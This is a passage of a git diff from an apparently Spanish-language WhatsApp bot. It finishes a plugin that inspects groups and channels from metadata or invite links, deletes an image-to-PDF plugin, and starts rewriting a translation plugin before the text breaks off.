+pp = await conn.profilePictureUrl(id, 'image').catch(e => { return null })
+const formatParticipants = (participants) =>
+participants && participants.length > 0
+? participants.map((user, i) => `${i + 1}. @${user.id?.split("@")[0]}${user.admin === "superadmin" ? " (superadmin)" : user.admin === "admin" ? " (admin)" : ""}`).join("\n")
+: "No encontrado"
+
+let caption = `🆔 *Identificador del grupo:*\n${id || "No encontrado"}\n\n` +
+`👑 *Creado por:*\n${owner ? `@${owner?.split("@")[0]}` : "No encontrado"} ${creation ? `el ${formatDate(creation)}` : "(Fecha no encontrada)"}\n\n` +
+`🏷️ *Nombre:*\n${subject || "No encontrado"}\n\n` +
+`✏️ *Nombre cambiado por:*\n${subjectOwner ? `@${subjectOwner?.split("@")[0]}` : "No encontrado"} ${subjectTime ? `el ${formatDate(subjectTime)}` : "(Fecha no encontrada)"}\n\n` +
+`📄 *Descripción:*\n${desc || "No encontrada"}\n\n` +
+`💠 *ID de la descripción:*\n${descId || "No encontrado"}\n\n` +
+`🖼️ *Imagen del grupo:*\n${pp ? pp : groupPicture}\n\n` +
+`🏆 *Miembros destacados:*\n${formatParticipants(groupData.participants)}\n\n` +
+`👥 *Destacados total:*\n${size || "Cantidad no encontrada"}\n\n` +
+`✨ *Información avanzada* ✨\n\n🔎 *Comunidad vinculada al grupo:*\n${isCommunity ? "Este grupo es un chat de avisos" : `${linkedParent ? "`Id:` " + linkedParent : "Este grupo"} ${nameCommunity}`}\n\n` +
+`📢 *Anuncios:* ${announce ? "✅ Si" : "❌ No"}\n` +
+`🏘️ *¿Es comunidad?:* ${isCommunity ? "✅ Si" : "❌ No"}\n` +
+`📯 *¿Es anuncio de comunidad?:* ${isCommunityAnnounce ? "✅" : "❌"}\n` +
+`🤝 *Tiene aprobación de miembros:* ${joinApprovalMode ? "✅" : "❌"}\n`
+return caption.trim()
+}
+
+let info
+try {
+let res = text ? null : await conn.groupMetadata(m.chat)
+info = await MetadataGroupInfo(res) // Si el bot esta en el grupo
+console.log('Método de metadatos')
+} catch {
+const inviteUrl = text?.match(/(?:https:\/\/)?(?:www\.)?(?:chat\.|wa\.)?whatsapp\.com\/(?:invite\/|joinchat\/)?([0-9A-Za-z]{22,24})/i)?.[1]
+//if (!inviteUrl &&) return await conn.reply(m.chat, "*Verifique que sea un enlace de grupo o comunidad de WhatsApp.*", m)
+let inviteInfo
+if (inviteUrl) {
+try {
+inviteInfo = await conn.groupGetInviteInfo(inviteUrl)
+info = await inviteGroupInfo(inviteInfo) // Para cualquier enlace de grupo/comunidad
+console.log(info)
+console.log('Método de enlace')
+} catch (e) {
+m.reply('Grupo no encontrado')
+return
+}}}
+if (info) {
+await conn.sendMessage(m.chat, { text: info, contextInfo: {
+mentionedJid: null,
+externalAdReply: {
+title: "🔰 Inspector de Grupos",
+body: m.pushName,
+thumbnailUrl: m.pp,
+sourceUrl: args[0] ? args[0] : inviteCode ? `https://chat.whatsapp.com/${inviteCode}` : md,
+mediaType: 1,
+showAdAttribution: false,
+renderLargerThumbnail: true
+}}}, { quoted: fkontak })
+} else {
+// Manejo de enlaces de canales
+let newsletterInfo
+if (!channelUrl) return await conn.reply(m.chat, "*Verifique que sea un enlace de canal de WhatsApp.*", m)
+if (channelUrl) {
+try {
+newsletterInfo = await conn.newsletterMetadata("invite", channelUrl).catch(e => { return null })
+if (!newsletterInfo) return await conn.reply(m.chat, "*No se encontró información del canal.* Verifique que el enlace sea correcto.", m)
+let caption = "*Inspector de enlaces de Canales*\n\n" + processObject(newsletterInfo, "", newsletterInfo?.preview)
+if (newsletterInfo?.preview) {
+pp = getUrlFromDirectPath(newsletterInfo.preview)
+} else {
+pp = thumb
+}
+if (channelUrl && newsletterInfo) {
+await conn.sendMessage(m.chat, { text: caption, contextInfo: {
+mentionedJid: null,
+externalAdReply: {
+title: "📢 Inspector de Canales",
+body: m.pushName,
+thumbnailUrl: m.pp,
+sourceUrl: args[0],
+mediaType: 1,
+showAdAttribution: false,
+renderLargerThumbnail: true
+}}}, { quoted: fkontak })}
+newsletterInfo.id ? conn.sendMessage(m.chat, { text: newsletterInfo.id }, { quoted: null }) : ''
+} catch (e) {
+console.log(e)
+}}}}
+handler.help = ["superinspect", "inspect"]
+handler.tags = ['tools'];
+handler.command = /^(superinspect|inspect|revisar|inspeccionar)$/i;
+handler.register = true;
+
+export default handler;
+
+function formatDate(n, locale = "es", includeTime = true) {
+if (n > 1e12) {
+n = Math.floor(n / 1000) // Convertir de milisegundos a segundos
+} else if (n < 1e10) {
+n = Math.floor(n * 1000) // Convertir de segundos a milisegundos
+}
+const date = new Date(n)
+if (isNaN(date)) return "Fecha no válida"
+// Formato de fecha: día/mes/año
+const optionsDate = { day: '2-digit', month: '2-digit', year: 'numeric' }
+const formattedDate = date.toLocaleDateString(locale, optionsDate)
+if (!includeTime) return formattedDate
+// horas, minutos y segundos
+const hours = String(date.getHours()).padStart(2, '0')
+const minutes = String(date.getMinutes()).padStart(2, '0')
+const seconds = String(date.getSeconds()).padStart(2, '0')
+const period = hours < 12 ? 'AM' : 'PM'
+const formattedTime = `${hours}:${minutes}:${seconds} ${period}`
+return `${formattedDate}, ${formattedTime}`
+}
+
+function formatValue(key, value, preview) {
+switch (key) {
+case "subscribers":
+return value ? value.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ".") : "No hay suscriptores"
+case "creation_time":
+case "nameTime":
+case "descriptionTime":
+return formatDate(value)
+case "description":
+case "name":
+return value || "No hay información disponible"
+case "state":
+switch (value) {
+case "ACTIVE": return "Activo"
+case "GEOSUSPENDED": return "Suspendido por región"
+case "SUSPENDED": return "Suspendido"
+default: return "Desconocido"
+}
+case "reaction_codes":
+switch (value) {
+case "ALL": return "Todas las reacciones permitidas"
+case "BASIC": return "Reacciones básicas permitidas"
+case "NONE": return "No se permiten reacciones"
+default: return "Desconocido"
+}
+case "verification":
+switch (value) {
+case "VERIFIED": return "Verificado"
+case "UNVERIFIED": return "No verificado"
+default: return "Desconocido"
+}
+case "mute":
+switch (value) {
+case "ON": return "Silenciado"
+case "OFF": return "No silenciado"
+case "UNDEFINED": return "Sin definir"
+default: return "Desconocido"
+}
+case "view_role":
+switch (value) {
+case "ADMIN": return "Administrador"
+case "OWNER": return "Propietario"
+case "SUBSCRIBER": return "Suscriptor"
+case "GUEST": return "Invitado"
+default: return "Desconocido"
+}
+case "picture":
+if (preview) {
+return getUrlFromDirectPath(preview)
+} else {
+return "No hay imagen disponible"
+}
+default:
+return value !== null && value !== undefined ? value.toString() : "No hay información disponible"
+}}
+
+function newsletterKey(key) {
+return _.startCase(key.replace(/_/g, " "))
+.replace("Id", "🆔 Identificador")
+.replace("State", "📌 Estado")
+.replace("Creation Time", "📅 Fecha de creación")
+.replace("Name Time", "✏️ Fecha de modificación del nombre")
+.replace("Name", "🏷️ Nombre")
+.replace("Description Time", "📝 Fecha de modificación de la descripción")
+.replace("Description", "📜 Descripción")
+.replace("Invite", "📩 Invitación")
+.replace("Handle", "👤 Alias")
+.replace("Picture", "🖼️ Imagen")
+.replace("Preview", "👀 Vista previa")
+.replace("Reaction Codes", "😃 Reacciones")
+.replace("Subscribers", "👥 Suscriptores")
+.replace("Verification", "✅ Verificación")
+.replace("Viewer Metadata", "🔍 Datos avanzados")
+}
+
+function processObject(obj, prefix = "", preview) {
+let caption = ""
+Object.keys(obj).forEach(key => {
+const value = obj[key]
+if (typeof value === "object" && value !== null) {
+if (Object.keys(value).length > 0) {
+const sectionName = newsletterKey(prefix + key)
+caption += `\n*\`${sectionName}\`*\n`
+caption += processObject(value, `${prefix}${key}_`)
+}} else {
+const shortKey = prefix ? prefix.split("_").pop() + "_" + key : key
+const displayValue = formatValue(shortKey, value, preview)
+const translatedKey = newsletterKey(shortKey)
+caption += `- *${translatedKey}:*\n${displayValue}\n\n`
+}})
+return caption.trim()
+}
+
diff --git a/plugins/herramientas-topdf.js b/plugins/herramientas-topdf.js
deleted file mode 100644
index f2d3a90fb..000000000
--- a/plugins/herramientas-topdf.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import uploadImage from '../lib/uploadImage.js'
-let handler = async (m, { conn, text, usedPrefix, command, isOwner }) => {
-let q = m.quoted ? m.quoted : m
-let mime = (q.msg || q).mimetype || ''
-if (!mime) throw '𝙍𝙀𝙎𝙋𝙊𝙉𝘿𝙀 / 𝙀𝙏𝙄𝙌𝙐𝙀𝙏𝙀 𝘼 𝙐𝙉𝘼 𝙄𝙈𝘼𝙂𝙀𝙉'
-let img = await q.download?.()
-let url = await uploadImage(img)
-let docname = text ? text : m.pushName || 'documento'
-conn.sendFile(m.chat, `http://api.lolhuman.xyz/api/convert/imgtopdf?apikey=${lolkeysapi}&img=${url}`, docname + '.pdf', '', m, false, { asDocument: true })
-}
-handler.command = /^topdf$/i
-export default handler
diff --git a/plugins/herramientas-translate.js b/plugins/herramientas-translate.js
index d22e6e008..e3dccafca 100644
--- a/plugins/herramientas-translate.js
+++ b/plugins/herramientas-translate.js
@@ -1,192 +1,58 @@
-import translate from '@vitalets/google-translate-api'
-import fetch from 'node-fetch'
-let handler = async (m, { args, usedPrefix, command, conn }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let user = global.db.data.users[m.sender]
-let msg = `${mg}𝙀𝙇 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 𝙎𝙀 𝙐𝙎𝘼 𝘿𝙀 𝙀𝙎𝙏𝘼 𝙈𝘼𝙉𝙀𝙍𝘼\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} (idioma) (texto)*\n*${usedPrefix + command} es hello*`
-if (!args || !args[0]) return m.reply(msg)
-let lang = args[0]
-let text = args.slice(1).join(' ')
-const defaultLang = 'es'
-if ((args[0] || '').length !== 2) {
-lang = defaultLang
-text = args.join(' ')}
-if (!text && m.quoted && m.quoted.text) text = m.quoted.text
+import fetch from 'node-fetch';
-const idiomas = [['Afrikáans', 'af'], ['Albanés', 'sq'], ['Amárico', 'am'], ['Árabe', 'ar'], ['Armenio', 'hy'], ['Asamés', 'as'], ['Aimara', 'ay'], ['Azerbaiyano', 'az'], ['Bambara', 'bm'], ['Vasco', 'eu'], ['Bielorruso', 'be'], ['Bengalí', 'bn'], ['Bhospuri', 'bho'], ['Bosnio', 'bs'], ['Búlgaro', 'bg'], ['Catalán', 'ca'], ['Cebuano', 'ceb'], ['Chino (simplificado)', 'zh-CN'], ['Chino (tradicional)', 'ny'], ['Corso', 'co'], ['Croata', 'hr'], ['Checo', 'cs'], ['Danés', 'da'], ['Dhivehi', 'dv'], ['Dogri', 'doi'], ['Neerlandés', 'nl'], ['Inglés', 'en'], ['Esperanto', 'eo'], ['Estonio', 'et'], ['Ewe', 'ee'], ['Filipino (tagalo)', 'fil'], ['Finés', 'fi'], ['Francés', 'fr'], ['Frisón', 'fy'], ['Gallego', 'gl'], ['Georgiano', 'ka'], ['Alemán', 'de'], ['Grieg', 'el'], ['Guaraní', 'gn'], ['Guyaratí', 'gu'], ['Criollo haitiano', 'ht'], ['Hausa', 'ha'], ['Hawaiano', 'haw'], ['Hebreo', 'he'], ['Hindi', 'hi'], ['Hmong', 'hmn'], ['Húngaro', 'hu'], ['Islandés', 'is'], ['Igbo', 'ig'], ['Ilocano', 'ilo'], ['Indonesio', 'id'], ['Irlandés', 'ga'], ['Italiano', 'it'], ['Japonés', 'ja'], ['Javanés', 'jv'], ['Canarés', 'kn'], ['Kazajo', 'kk'], ['Jemer', 'km'], ['Kiñaruanda', 'rw'], ['Konkani', 'gom'], ['Corean', 'ko'], ['Krio', 'kri'], ['Curdo', 'ku'], ['Kurdo (Sorani)', 'ckb'], ['Kirg', 'ky'], ['Laosiano', 'lo'], ['Latín', 'la'], ['Letón', 'lv'], ['Lingala', 'ln'], ['Lituano', 'lt'], ['Luganda', 'lg'], ['Luxemburgués', 'lb'], ['Macedonio', 'mk'], ['Maithili', 'mai'], ['Malgache', 'mg'], ['Malayo', 'ms'], ['Malabar', 'ml'], ['Maltés', 'mt'], ['Maorí', 'mi'], ['Marathi', 'mr'], ['Meiteilon (manipuri)', 'mni-Mtei'], ['Mizo', 'lus'], ['Mongol', 'mn'], ['Birmano', 'my'], ['Nepalí', 'ne'], ['Noruego', 'no'], ['Nyanja (chichewa)', 'ny'], ['Odia (oriya)', 'or'], ['Oromo', 'om'], ['Pashto', 'ps'], ['Persa', 'fa'], ['Polaco', 'pl'], ['Portugués (Portugal y Brasil)', 'pt'], ['Punjabi', 'pa'], ['Quechua', 'qu'], ['Rumano', 'ro'], ['Ruso', 'ru'], ['Samoano', 'sm'], ['', ''], ['Sánscr', 'sa'], ['Gaélico', 'gd'], ['Sepedi', 'nso'], ['Serbio', 'sr'], ['Sesoto', 'st'], ['Shona', 'sn'], ['Sindhi', 'sd'], ['Cingalés', 'si'], ['Eslovaco', 'sk'], ['Esloveno', 'sl'], ['Somalí', 'so'], ['Español', 'es'], ['Sundanés', 'su'], ['Suajili', 'sw'], ['Sueco', 'sv'], ['Tagalo (filipino)', 'tl'], ['Tayiko', 'tg'], ['Tamil', 'ta'], ['Tártaro', 'tt'], ['Telugú', 'te'], ['Tailandés', 'th'], ['Tigriña', 'ti'], ['Tsonga', 'ts'], ['Turco', 'tr'], ['Turcom', 'tk'], ['Twi (Akan)', 'ak'], ['Ucraniano', 'uk'], ['Urdu', 'ur'], ['Uigur', 'ug'], ['Uzbeko', 'uz'], ['Vietnamita', 'vi'], ['Galés', 'cy'], ['Xhosa', 'xh'], ['Yiddish', 'yi'], ['Yoruba', 'yo'], ['Zulú', 'zu']]
-const sections = [
-{
-title: htjava + ' 🌐 𝙇𝙄𝙎𝙏𝘼 𝘿𝙀 𝙄𝘿𝙄𝙊𝙈𝘼𝙎 ' + htjava,
-rows: [
-{title: "🪄 " + idiomas[0][0], rowId: `${usedPrefix + command} ${idiomas[0][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[0][0]} | ${idiomas[0][1]}`},
-{title: "🪄 " + idiomas[1][0], rowId: `${usedPrefix + command} ${idiomas[1][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[1][0]} | ${idiomas[1][1]}`},
-{title: "🪄 " + idiomas[2][0], rowId: `${usedPrefix + command} ${idiomas[2][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[2][0]} | ${idiomas[2][1]}`},
-{title: "🪄 " + idiomas[3][0], rowId: `${usedPrefix + command} ${idiomas[3][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[3][0]} | ${idiomas[3][1]}`},
-{title: "🪄 " + idiomas[4][0], rowId: `${usedPrefix + command} ${idiomas[4][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[4][0]} | ${idiomas[4][1]}`},
-{title: "🪄 " + idiomas[5][0], rowId: `${usedPrefix + command} ${idiomas[5][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[5][0]} | ${idiomas[5][1]}`},
-{title: "🪄 " + idiomas[6][0], rowId: `${usedPrefix + command} ${idiomas[6][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[6][0]} | ${idiomas[6][1]}`},
-{title: "🪄 " + idiomas[7][0], rowId: `${usedPrefix + command} ${idiomas[7][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[7][0]} | ${idiomas[7][1]}`},
-{title: "🪄 " + idiomas[8][0], rowId: `${usedPrefix + command} ${idiomas[8][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[8][0]} | ${idiomas[8][1]}`},
-{title: "🪄 " + idiomas[9][0], rowId: `${usedPrefix + command} ${idiomas[9][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[9][0]} | ${idiomas[9][1]}`},
-{title: "🪄 " + idiomas[10][0], rowId: `${usedPrefix + command} ${idiomas[10][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[10][0]} | ${idiomas[10][1]}`},
-{title: "🪄 " + idiomas[11][0], rowId: `${usedPrefix + command} ${idiomas[11][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[11][0]} | ${idiomas[11][1]}`},
-{title: "🪄 " + idiomas[12][0], rowId: `${usedPrefix + command} ${idiomas[12][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[12][0]} | ${idiomas[12][1]}`},
-{title: "🪄 " + idiomas[13][0], rowId: `${usedPrefix + command} ${idiomas[13][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[13][0]} | ${idiomas[13][1]}`},
-{title: "🪄 " + idiomas[14][0], rowId: `${usedPrefix + command} ${idiomas[14][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[14][0]} | ${idiomas[14][1]}`},
-{title: "🪄 " + idiomas[15][0], rowId: `${usedPrefix + command} ${idiomas[15][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[15][0]} | ${idiomas[15][1]}`},
-{title: "🪄 " + idiomas[16][0], rowId: `${usedPrefix + command} ${idiomas[16][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[16][0]} | ${idiomas[16][1]}`},
-{title: "🪄 " + idiomas[17][0], rowId: `${usedPrefix + command} ${idiomas[17][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[17][0]} | ${idiomas[17][1]}`},
-{title: "🪄 " + idiomas[18][0], rowId: `${usedPrefix + command} ${idiomas[18][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[18][0]} | ${idiomas[18][1]}`},
-{title: "🪄 " + idiomas[19][0], rowId: `${usedPrefix + command} ${idiomas[19][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[19][0]} | ${idiomas[19][1]}`},
-{title: "🪄 " + idiomas[20][0], rowId: `${usedPrefix + command} ${idiomas[20][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[20][0]} | ${idiomas[20][1]}`},
-{title: "🪄 " + idiomas[21][0], rowId: `${usedPrefix + command} ${idiomas[21][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[21][0]} | ${idiomas[21][1]}`},
-{title: "🪄 " + idiomas[22][0], rowId: `${usedPrefix + command} ${idiomas[22][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[22][0]} | ${idiomas[22][1]}`},
-{title: "🪄 " + idiomas[23][0], rowId: `${usedPrefix + command} ${idiomas[23][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[23][0]} | ${idiomas[23][1]}`},
-{title: "🪄 " + idiomas[24][0], rowId: `${usedPrefix + command} ${idiomas[24][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[24][0]} | ${idiomas[24][1]}`},
-{title: "🪄 " + idiomas[25][0], rowId: `${usedPrefix + command} ${idiomas[25][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[25][0]} | ${idiomas[25][1]}`},
-{title: "🪄 " + idiomas[26][0], rowId: `${usedPrefix + command} ${idiomas[26][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[26][0]} | ${idiomas[26][1]}`},
-{title: "🪄 " + idiomas[27][0], rowId: `${usedPrefix + command} ${idiomas[27][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[27][0]} | ${idiomas[27][1]}`},
-{title: "🪄 " + idiomas[28][0], rowId: `${usedPrefix + command} ${idiomas[28][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[28][0]} | ${idiomas[28][1]}`},
-{title: "🪄 " + idiomas[29][0], rowId: `${usedPrefix + command} ${idiomas[29][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[29][0]} | ${idiomas[29][1]}`},
-{title: "🪄 " + idiomas[30][0], rowId: `${usedPrefix + command} ${idiomas[30][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[30][0]} | ${idiomas[30][1]}`},
-{title: "🪄 " + idiomas[31][0], rowId: `${usedPrefix + command} ${idiomas[31][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[31][0]} | ${idiomas[31][1]}`},
-{title: "🪄 " + idiomas[32][0], rowId: `${usedPrefix + command} ${idiomas[32][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[32][0]} | ${idiomas[32][1]}`},
-{title: "🪄 " + idiomas[33][0], rowId: `${usedPrefix + command} ${idiomas[33][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[33][0]} | ${idiomas[33][1]}`},
-{title: "🪄 " + idiomas[34][0], rowId: `${usedPrefix + command} ${idiomas[34][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[34][0]} | ${idiomas[34][1]}`},
-{title: "🪄 " + idiomas[35][0], rowId: `${usedPrefix + command} ${idiomas[35][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[35][0]} | ${idiomas[35][1]}`},
-{title: "🪄 " + idiomas[36][0], rowId: `${usedPrefix + command} ${idiomas[36][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[36][0]} | ${idiomas[36][1]}`},
-{title: "🪄 " + idiomas[37][0], rowId: `${usedPrefix + command} ${idiomas[37][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[37][0]} | ${idiomas[37][1]}`},
-{title: "🪄 " + idiomas[38][0], rowId: `${usedPrefix + command} ${idiomas[38][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[38][0]} | ${idiomas[38][1]}`},
-{title: "🪄 " + idiomas[39][0], rowId: `${usedPrefix + command} ${idiomas[39][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[39][0]} | ${idiomas[39][1]}`},
-{title: "🪄 " + idiomas[40][0], rowId: `${usedPrefix + command} ${idiomas[40][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[40][0]} | ${idiomas[40][1]}`},
-{title: "🪄 " + idiomas[41][0], rowId: `${usedPrefix + command} ${idiomas[41][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[41][0]} | ${idiomas[41][1]}`},
-{title: "🪄 " + idiomas[42][0], rowId: `${usedPrefix + command} ${idiomas[42][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[42][0]} | ${idiomas[42][1]}`},
-{title: "🪄 " + idiomas[43][0], rowId: `${usedPrefix + command} ${idiomas[43][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[43][0]} | ${idiomas[43][1]}`},
-{title: "🪄 " + idiomas[44][0], rowId: `${usedPrefix + command} ${idiomas[44][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[44][0]} | ${idiomas[44][1]}`},
-{title: "🪄 " + idiomas[45][0], rowId: `${usedPrefix + command} ${idiomas[45][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[45][0]} | ${idiomas[45][1]}`},
-{title: "🪄 " + idiomas[46][0], rowId: `${usedPrefix + command} ${idiomas[46][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[46][0]} | ${idiomas[46][1]}`},
-{title: "🪄 " + idiomas[47][0], rowId: `${usedPrefix + command} ${idiomas[47][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[47][0]} | ${idiomas[47][1]}`},
-{title: "🪄 " + idiomas[48][0], rowId: `${usedPrefix + command} ${idiomas[48][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[48][0]} | ${idiomas[48][1]}`},
-{title: "🪄 " + idiomas[49][0], rowId: `${usedPrefix + command} ${idiomas[49][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[49][0]} | ${idiomas[49][1]}`},
-{title: "🪄 " + idiomas[50][0], rowId: `${usedPrefix + command} ${idiomas[50][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[50][0]} | ${idiomas[50][1]}`},
-{title: "🪄 " + idiomas[51][0], rowId: `${usedPrefix + command} ${idiomas[51][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[51][0]} | ${idiomas[51][1]}`},
-{title: "🪄 " + idiomas[52][0], rowId: `${usedPrefix + command} ${idiomas[52][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[52][0]} | ${idiomas[52][1]}`},
-{title: "🪄 " + idiomas[53][0], rowId: `${usedPrefix + command} ${idiomas[53][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[53][0]} | ${idiomas[53][1]}`},
-{title: "🪄 " + idiomas[54][0], rowId: `${usedPrefix + command} ${idiomas[54][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[54][0]} | ${idiomas[54][1]}`},
-{title: "🪄 " + idiomas[55][0], rowId: `${usedPrefix + command} ${idiomas[55][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[55][0]} | ${idiomas[55][1]}`},
-{title: "🪄 " + idiomas[56][0], rowId: `${usedPrefix + command} ${idiomas[56][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[56][0]} | ${idiomas[56][1]}`},
-{title: "🪄 " + idiomas[57][0], rowId: `${usedPrefix + command} ${idiomas[57][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[57][0]} | ${idiomas[57][1]}`},
-{title: "🪄 " + idiomas[58][0], rowId: `${usedPrefix + command} ${idiomas[58][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[58][0]} | ${idiomas[58][1]}`},
-{title: "🪄 " + idiomas[59][0], rowId: `${usedPrefix + command} ${idiomas[59][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[59][0]} | ${idiomas[59][1]}`},
-{title: "🪄 " + idiomas[60][0], rowId: `${usedPrefix + command} ${idiomas[60][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[60][0]} | ${idiomas[60][1]}`},
-{title: "🪄 " + idiomas[61][0], rowId: `${usedPrefix + command} ${idiomas[61][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[61][0]} | ${idiomas[61][1]}`},
-{title: "🪄 " + idiomas[62][0], rowId: `${usedPrefix + command} ${idiomas[62][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[62][0]} | ${idiomas[62][1]}`},
-{title: "🪄 " + idiomas[63][0], rowId: `${usedPrefix + command} ${idiomas[63][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[63][0]} | ${idiomas[63][1]}`},
-{title: "🪄 " + idiomas[64][0], rowId: `${usedPrefix + command} ${idiomas[64][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[64][0]} | ${idiomas[64][1]}`},
-{title: "🪄 " + idiomas[65][0], rowId: `${usedPrefix + command} ${idiomas[65][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[65][0]} | ${idiomas[65][1]}`},
-{title: "🪄 " + idiomas[66][0], rowId: `${usedPrefix + command} ${idiomas[66][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[66][0]} | ${idiomas[66][1]}`},
-{title: "🪄 " + idiomas[67][0], rowId: `${usedPrefix + command} ${idiomas[67][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[67][0]} | ${idiomas[67][1]}`},
-{title: "🪄 " + idiomas[68][0], rowId: `${usedPrefix + command} ${idiomas[68][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[68][0]} | ${idiomas[68][1]}`},
-{title: "🪄 " + idiomas[69][0], rowId: `${usedPrefix + command} ${idiomas[69][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[69][0]} | ${idiomas[69][1]}`},
-{title: "🪄 " + idiomas[70][0], rowId: `${usedPrefix + command} ${idiomas[70][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[70][0]} | ${idiomas[70][1]}`},
-{title: "🪄 " + idiomas[71][0], rowId: `${usedPrefix + command} ${idiomas[71][1]} ${text}`, description: `𝑰𝒅𝒊𝒐𝒎𝒂: ${idiomas[71][0]} | ${idiomas[71][1]}`},
